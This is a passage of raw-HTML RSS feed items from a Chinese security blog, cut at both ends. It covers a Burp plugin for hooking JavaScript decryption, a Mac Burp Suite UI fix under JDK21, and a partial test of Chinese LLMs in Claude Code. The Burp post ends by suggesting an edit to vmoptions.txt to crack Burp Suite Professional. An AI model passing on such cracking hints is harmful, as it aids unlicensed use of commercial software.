Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">原始响应:</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-aistatus="1" alt="PixPin_2026-01-09_13-52-11" class="rich_pages wxw-img" data-ratio="1.1863468634686347" data-type="png" data-w="542" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" title="null" data-imgfileid="100002185" src="https://wechat2rss.xlab.app/img-proxy/?k=6aab2e00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1dnNWRVcLywO4CuicDOlLIwxTwacG4YF0ycqbpje5jibqMWx2H24TmuZVVV9hVt4qX2XqOGRTrmCgVg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">点击响应的Decrypted tag 触发rpc</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-aistatus="1" alt="PixPin_2026-01-09_13-52-33" class="rich_pages wxw-img" data-ratio="0.494949494949495" data-type="png" data-w="495" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" title="null" data-imgfileid="100002189" src="https://wechat2rss.xlab.app/img-proxy/?k=6b8d66e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1dnNWRVcLywO4CuicDOlLIwxib2lamOeHIhuJ0Xgq15wUYQvoEdxBYkBPnU45Xo2PwibKIqXEPZuHJtw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-aistatus="1" alt="PixPin_2026-01-09_13-52-39" class="rich_pages wxw-img" data-ratio="0.31970260223048325" data-type="png" data-w="538" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" title="null" data-imgfileid="100002191" src="https://wechat2rss.xlab.app/img-proxy/?k=db89b052&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1dnNWRVcLywO4CuicDOlLIwxdGz3ZXnnN2VJN0IzzaicwEh1Q0dKPgH900bbLeAQMwqfZzfj3ktfKvw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">插件使用方法</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-aistatus="1" alt="PixPin_2026-01-07_20-00-21" class="rich_pages wxw-img" data-ratio="0.2791946308724832" data-type="png" data-w="745" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" title="null" data-imgfileid="100002188" src="https://wechat2rss.xlab.app/img-proxy/?k=d5cbd493&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1dnNWRVcLywO4CuicDOlLIwxJibLibFchDuEkCNjia3kBYqo6C1ScvFSexib4oj1fFLic0nTxCZ0fAGvCbA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">示例代码开源在:</span></p><blockquote style="box-sizing: border-box;margin: 20px 10px;padding: 1px 0px 1px 10px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(91, 91, 91);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;background: rgba(158, 158, 158, 0.1);border-left: 3px solid rgb(158, 158, 158);"><p style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf=""><a href="https://github.com/lanyi1998/js_hook_decrype" target="_blank">https://github.com/lanyi1998/js_hook_decrype</a></span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=99e94b3c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU5MTExMjYwMA%3D%3D%26mid%3D2247485845%26idx%3D1%26sn%3D8df1edd9db05d80cba1ddf9b24f63396">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 12 Jan 2026 17:14:00 +0800</pubDate>
    </item>
    <item>
      <title>Mac burp高版本UI显示文字缺失问题解决</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&amp;mid=2247485811&amp;idx=2&amp;sn=69e5a319635ba48a18e03512709af800</link>
      <description>Mac burp高版本UI显示文字缺失问题解决</description>
      <content:encoded><![CDATA[<p>原创 <span>kkk mr</span> <span>2026-01-09 11:19</span> <span style="display: inline-block;">浙江</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c22afaad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FnoZJ3Kqbu1ciclcpkWfaDI5YyxIQQukXbnTgNrzDwLcfGvt2j39AfHfDCwRh6yK2TAT9eIurqBuKRooiazCM5HMQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>Mac burp高版本UI显示文字缺失问题解决</p>
  <p data-layout-id="0" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">最近在使用Burp高版本的时候，遇到需要JDK21。但是在我的mac上安装JDK21的话，很多java软件都会遇到UI显示异常的问题。</span></p><p data-layout-id="1" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">如图:</span></p><div style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" data-layout-id="2"><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.47835051546391755" data-s="300,640" data-type="png" data-w="485" type="block" data-imgfileid="100002160" src="https://wechat2rss.xlab.app/img-proxy/?k=9e533ce9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ciclcpkWfaDI5YyxIQQukXb11OCUtBzQh762YETtAegyiaYEIccicCl0AdLePviauA2m67nZ8yQMK9Ow%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></div><p data-layout-id="3" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">解决办法:</span></p><p data-layout-id="4" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">官网下载burp的mac的app包，不是jar包。</span></p><p data-layout-id="5" style="font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);line-height: 2;margin-bottom: 24px;text-align: left;"><span leaf="">然后修改/Applications/Burp Suite Professional.app/Contents/vmoptions.txt这个文件进行破解</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=295f63b5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU5MTExMjYwMA%3D%3D%26mid%3D2247485811%26idx%3D2%26sn%3D69e5a319635ba48a18e03512709af800">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 09 Jan 2026 11:19:00 +0800</pubDate>
    </item>
    <item>
      <title>国产大模型ClaudeCode编程能力测试！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&amp;mid=2247485786&amp;idx=1&amp;sn=473504c49c301f74aa2c229027ac91ad</link>
      <description>含GML、qwen、DeepSeek、MiniMax-M2测试</description>
      <content:encoded><![CDATA[<p><span></span> <span>2025-12-24 14:03</span> <span style="display: inline-block;">浙江</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=40597397&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FnoZJ3Kqbu1ep9QcfibM1v3ibz57fEj13RnwE9nqjYy3Hp6YE0EicNyxgSbA3kqgzRuqyFsc4nXGobPmHvBGOpSx6Q%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>含GML、qwen、DeepSeek、MiniMax-M2测试</p>
  <h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;" data-pm-slice="0 0 []"><span leaf="">测试环境</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">claude code版本: v2.0.37，为规避历史记录影响,每次执行完以后删除掉.claude目录，重新创建。为保证结果不受其他因素干扰，均只设置最基本的环境变量</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-12-24_11-44-48" class="rich_pages wxw-img" data-imgfileid="100002117" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a046c363&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ep9QcfibM1v3ibz57fEj13RnUM4wSUR49mRAN3COnWPZEmynY9AamT5GHib9CTicVM1M3BiaDAxsruv9w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">提示词: @index.hmtl 将同一家厂商的模型，放到同一行中</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">测试时间: 2025/12/24</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">原始index.html文件效果</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">需要源码自己复现测试的，文件来源是 <a href="https://llm.minprices.com/" target="_blank">https://llm.minprices.com/</a></span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">文本长度17k，在各个模型上下文的舒适区：</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-12-24_11-45-47" class="rich_pages wxw-img" data-imgfileid="100002121" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=bbd69740&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ep9QcfibM1v3ibz57fEj13RnuBWLLXXuy2rfsAKJwVAmkA3bfF40xiaFGHESVvpYEORWEjggwRxqqCg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">考察点:</span></p><p style="box-sizing: border-box;margin: 20px 10px 20px 0px;padding: 0px 0px 0px 20px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">能否实现需求</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">侵入性，如果原本布局被修改视为侵入性过强</span></span></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;"><span leaf="">DeepSeek</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">计费模式: </span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;"><span leaf="">API按量付费</span></strong></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-12-24_11-02-09" class="rich_pages wxw-img" data-imgfileid="100002118" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ec6caecc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ep9QcfibM1v3ibz57fEj13RnAAx7sHmiaBP2EoXn6PLgfrsqJFsn3EicbV89Sm47gej1c6lGoKDvPFKA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">进入了先规划后修改的模式</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-12-24_11-02-24" class="rich_pages wxw-img" data-imgfileid="100002119" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 340px;" src="https://wechat2rss.xlab.app/img-proxy/?k=73f91985&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1ep9QcfibM1v3ibz57fEj13Rn81EbAickcu1icqPew7oV2Pe9IuibcK9BEOqBicXA1HnvcHLmQfSRlMpCCQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img alt="PixPin_2025-12-24_11-07-03" class="rich_pages wxw-img" data-imgfileid="100002120" title="null" data-type="png" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, 